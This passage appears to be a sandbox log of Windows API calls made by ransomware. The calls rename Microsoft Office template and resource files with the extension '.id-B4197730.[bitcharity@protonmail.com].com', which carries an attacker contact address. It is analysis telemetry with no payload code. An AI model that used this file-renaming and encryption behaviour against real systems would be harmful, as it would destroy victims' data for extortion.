Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.954] CloseHandle (hObject=0xff0) returned 1 [0272.955] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.955] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.955] CloseHandle (hObject=0xff0) returned 1 [0272.955] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.956] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\projectmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.956] CloseHandle (hObject=0xff0) returned 1 [0272.956] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.956] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.957] CloseHandle (hObject=0xff0) returned 1 [0272.957] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.957] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.en-us.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.958] CloseHandle (hObject=0xff0) returned 1 [0272.958] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.958] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.958] CloseHandle (hObject=0xff0) returned 1 [0272.960] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.960] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.es-es.msi.16.es-es.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.960] CloseHandle (hObject=0xff0) returned 1 [0272.961] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.961] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.961] CloseHandle (hObject=0xff0) returned 1 [0272.961] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.962] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.962] CloseHandle (hObject=0xff0) returned 1 [0272.962] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.962] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0272.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.962] CloseHandle (hObject=0xff0) returned 1 [0273.858] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.858] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\proofing.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.858] CloseHandle (hObject=0x1288) returned 1 [0274.197] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.197] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.198] CloseHandle (hObject=0x1154) returned 1 [0274.496] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.496] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.497] CloseHandle (hObject=0x1154) returned 1 [0274.497] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.497] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginReport.Dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originreport.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.498] CloseHandle (hObject=0x1154) returned 1 [0274.498] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.499] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\OriginResume.Dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\originresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.499] CloseHandle (hObject=0x1154) returned 1 [0274.500] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.500] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PersonalMonthlyBudget.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\personalmonthlybudget.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.500] CloseHandle (hObject=0x1154) returned 1 [0274.501] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.501] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.501] CloseHandle (hObject=0x1154) returned 1 [0274.502] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.503] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.503] CloseHandle (hObject=0x1154) returned 1 [0274.505] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.505] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.505] CloseHandle (hObject=0x1154) returned 1 [0274.506] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.506] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.506] CloseHandle (hObject=0x1154) returned 1 [0274.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackReport.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackreport.dotx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0274.508] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.508] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\SalesReport.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\salesreport.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.508] CloseHandle (hObject=0x1154) returned 1 [0274.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.509] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\StudentReport.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\studentreport.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.509] CloseHandle (hObject=0x1154) returned 1 [0274.511] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.511] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TASKLIST.XLTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\tasklist.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.511] CloseHandle (hObject=0x1154) returned 1 [0274.512] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.512] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimeCard.xltx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timecard.xltx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.512] CloseHandle (hObject=0x1154) returned 1 [0274.513] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.513] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.514] CloseHandle (hObject=0x1154) returned 1 [0274.514] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.515] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessReport.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessreport.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.515] CloseHandle (hObject=0x1154) returned 1 [0274.516] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.516] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\TimelessResume.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\timelessresume.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.516] CloseHandle (hObject=0x1154) returned 1 [0274.517] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.517] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Training.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\training.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.517] CloseHandle (hObject=0x1154) returned 1 [0274.521] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.521] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\WidescreenPresentation.potx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\widescreenpresentation.potx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.521] CloseHandle (hObject=0x1154) returned 1 [0274.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.522] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Word 2010 look.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\word 2010 look.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.522] CloseHandle (hObject=0x1154) returned 1 [0274.524] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.524] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\Maple.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\maple.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.524] CloseHandle (hObject=0x1154) returned 1 [0274.528] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.528] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.eps.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.528] CloseHandle (hObject=0x1154) returned 1 [0274.529] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: 